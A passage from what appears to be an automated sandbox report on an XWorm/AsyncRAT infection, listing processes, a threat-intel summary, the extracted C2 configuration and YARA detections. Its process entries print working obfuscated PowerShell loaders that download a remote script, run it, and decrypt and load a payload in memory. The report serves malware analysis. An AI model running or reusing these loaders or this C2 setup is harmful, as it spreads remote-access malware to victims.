b252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSgkcGd2d2wpLlNwbGl0KFtFbnZpcm9ubWVudF06Ok5ld0xpbmUpO2ZvcmVhY2ggKCRyZmcgaW4gJGNtdGt0KSB7CWlmICgkcmZnLlN0YXJ0c1dpdGgoJzo6JykpCXsJCSR3bHFpcD0kcmZnLlN1YnN0cmluZygyKTsJCWJyZWFrOwl9fSRla2Nmbj1bc3RyaW5nW11dJHdscWlwLlNwbGl0KCdcJyk7SUVYICckanhpY3M9aWxneWUgKGtkYXV0IChbQUJDQ0FCQ29BQkNuQUJDdkFCQ2VBQkNydF06OkFCQ0ZBQkNyQUJDb0FCQ21BQkNCQUJDYUFCQ3NlNkFCQzRBQkNTQUJDdEFCQ3JpQUJDbkFCQ2dBQkMoJGVrY2ZuWzBdKSkpOycuUmVwbGFjZSgnQUJDJywgJycpO0lFWCAnJHVncXJqPWlsZ3llIChrZGF1dCAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDckFCQ3RdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzQUJDZUFCQzZBQkM0QUJDU0FCQ3RyQUJDaUFCQ25BQkNnKCRla2NmblsxXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt6Z3d3dyAkanhpY3MgJG51bGw7emd3d3cgJHVncXJqICgsW3N0cmluZ1tdXSAoJyVBQkMnKSk7')) | Invoke-Expression" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5180 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_79ced6d4.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7772 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_79ced6d4.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2720 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSgkcGd2d2wpLlNwbGl0KFtFbnZpcm9ubWVudF06Ok5ld0xpbmUpO2ZvcmVhY2ggKCRyZmcgaW4gJGNtdGt0KSB7CWlmICgkcmZnLlN0YXJ0c1dpdGgoJzo6JykpCXsJCSR3bHFpcD0kcmZnLlN1YnN0cmluZygyKTsJCWJyZWFrOwl9fSRla2Nmbj1bc3RyaW5nW11dJHdscWlwLlNwbGl0KCdcJyk7SUVYICckanhpY3M9aWxneWUgKGtkYXV0IChbQUJDQ0FCQ29BQkNuQUJDdkFCQ2VBQkNydF06OkFCQ0ZBQkNyQUJDb0FCQ21BQkNCQUJDYUFCQ3NlNkFCQzRBQkNTQUJDdEFCQ3JpQUJDbkFCQ2dBQkMoJGVrY2ZuWzBdKSkpOycuUmVwbGFjZSgnQUJDJywgJycpO0lFWCAnJHVncXJqPWlsZ3llIChrZGF1dCAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDckFCQ3RdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzQUJDZUFCQzZBQkM0QUJDU0FCQ3RyQUJDaUFCQ25BQkNnKCRla2NmblsxXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt6Z3d3dyAkanhpY3MgJG51bGw7emd3d3cgJHVncXJqICgsW3N0cmluZ1tdXSAoJyVBQkMnKSk7')) | Invoke-Expression" MD5: 04029E121A0CFA5991749937DD22A1D9)

LogonUI.exe (PID: 1740 cmdline: "LogonUI.exe" /flags:0x2 /state0:0xa3f76055 /state1:0x41c64e6d MD5: 893144FE49AA16124B5BD3034E79BBC6)

fontdrvhost.exe (PID: 8044 cmdline: "fontdrvhost.exe" MD5: BBCB897697B3442657C7D6E3EDDBD25F)

dwm.exe (PID: 1020 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

LogonUI.exe (PID: 3716 cmdline: "LogonUI.exe" /flags:0x4 /state0:0xa3f5c055 /state1:0x41c64e6d MD5: 893144FE49AA16124B5BD3034E79BBC6)

svchost.exe (PID: 5368 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cdd.dll (PID: 4 cmdline: MD5: 9B684213A399B4E286982BDAD6CF3D07)

fontdrvhost.exe (PID: 6440 cmdline: "fontdrvhost.exe" MD5: BBCB897697B3442657C7D6E3EDDBD25F)

LogonUI.exe (PID: 6500 cmdline: "LogonUI.exe" /flags:0x2 /state0:0xa3f66055 /state1:0x41c64e6d MD5: 893144FE49AA16124B5BD3034E79BBC6)

cdd.dll (PID: 4 cmdline: MD5: 9B684213A399B4E286982BDAD6CF3D07)

cdd.dll (PID: 4 cmdline: MD5: 9B684213A399B4E286982BDAD6CF3D07)

LogonUI.exe (PID: 5696 cmdline: "LogonUI.exe" /flags:0x2 /state0:0xa3f7d855 /state1:0x41c64e6d MD5: 893144FE49AA16124B5BD3034E79BBC6)

fontdrvhost.exe (PID: 7612 cmdline: "fontdrvhost.exe" MD5: BBCB897697B3442657C7D6E3EDDBD25F)

cdd.dll (PID: 4 cmdline: MD5: 9B684213A399B4E286982BDAD6CF3D07)

LogonUI.exe (PID: 4080 cmdline: "LogonUI.exe" /flags:0x2 /state0:0xa3f05055 /state1:0x41c64e6d MD5: 893144FE49AA16124B5BD3034E79BBC6)

fontdrvhost.exe (PID: 2912 cmdline: "fontdrvhost.exe" MD5: BBCB897697B3442657C7D6E3EDDBD25F)

cdd.dll (PID: 4 cmdline: MD5: 9B684213A399B4E286982BDAD6CF3D07)

LogonUI.exe (PID: 6408 cmdline: "LogonUI.exe" /flags:0x2 /state0:0xa3f0c855 /state1:0x41c64e6d MD5: 893144FE49AA16124B5BD3034E79BBC6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["185.241.208.215"], "Port": 7000, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x33264:$s6: VirtualBox 0x3d4b4:$s6: VirtualBox 0x331c2:$s8: Win32_ComputerSystem 0x3d412:$s8: Win32_ComputerSystem 0x33a8e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x3dcde:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x33b2b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x3dd7b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x33c40:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x3de90:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x33900:$cnc4: POST / HTTP/1.1 0x3db50:$cnc4: POST / HTTP/1.1
0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x326fc:$s6: VirtualBox 0x3b32c:$s6: VirtualBox 0x3265a:$s8: Win32_ComputerSystem 0x3b28a:$s8: Win32_ComputerSystem 0x32f26:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x3bb56:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x32fc3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x3bbf3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x330d8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x3bd08:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x32d98:$cnc4: POST / HTTP/1.1 0x3b9c8:$cnc4: POST / HTTP/1.1
0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x95bc:$s6: VirtualBox 0x951a:$s8: Win32_ComputerSystem 0x9de6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9e83:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9f98:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x9c58:$cnc4: POST / HTTP/1.1
0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1cf8c:$s6: VirtualBox 0x1ceea:$s8: Win32_ComputerSystem 0x1d7b6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1d853:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1d968:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1d628:$cnc4: POST / HTTP/1.1
00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1d0fc:$s6: VirtualBox 0x2734c:$s6: VirtualBox 0x1d05a:$s8: Win32_ComputerSystem 0x272aa:$s8: Win32_ComputerSystem 0x1d926:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x27b76:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1d9c3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x27c13:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1dad8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x27d28:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1d798:$cnc4: POST / HTTP/1.1 0x279e8:$cnc4: POST / HTTP/1.1
0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1cb84:$s6: VirtualBox 0x26dec:$s6: VirtualBox 0x1cae2:$s8: Win32_ComputerSystem 0x26d4a:$s8: Win32_ComputerSystem 0x1d3ae:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x27616:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1d44b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x276b3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1d560:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x277c8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1d220:$cnc4: POST / HTTP/1.1 0x27488:$cnc4: POST / HTTP/1.1
0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x91cc:$s6: VirtualBox 0x912a:$s8: Win32_ComputerSystem 0x99f6:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9a93:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9ba8:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x9868:$cnc4: POST / HTTP/1.1
00000005.00000002.2325412269.000001D3133AB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000005.00000002.2325412269.000001D3133AB000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x972c:$s6: VirtualBox 0x1235c:$s6: VirtualBox 0x968a:$s8: Win32_ComputerSystem 0x122ba:$s8: Win32_ComputerSystem 0x9f56:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x12b86:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x176dc:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x9ff3:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x12c23:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x17794:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xa108:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x12d38:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x178c4:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x9dc8:$cnc4: POST / HTTP/1.1 0x129f8:$cnc4: POST / HTTP/1.1
0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
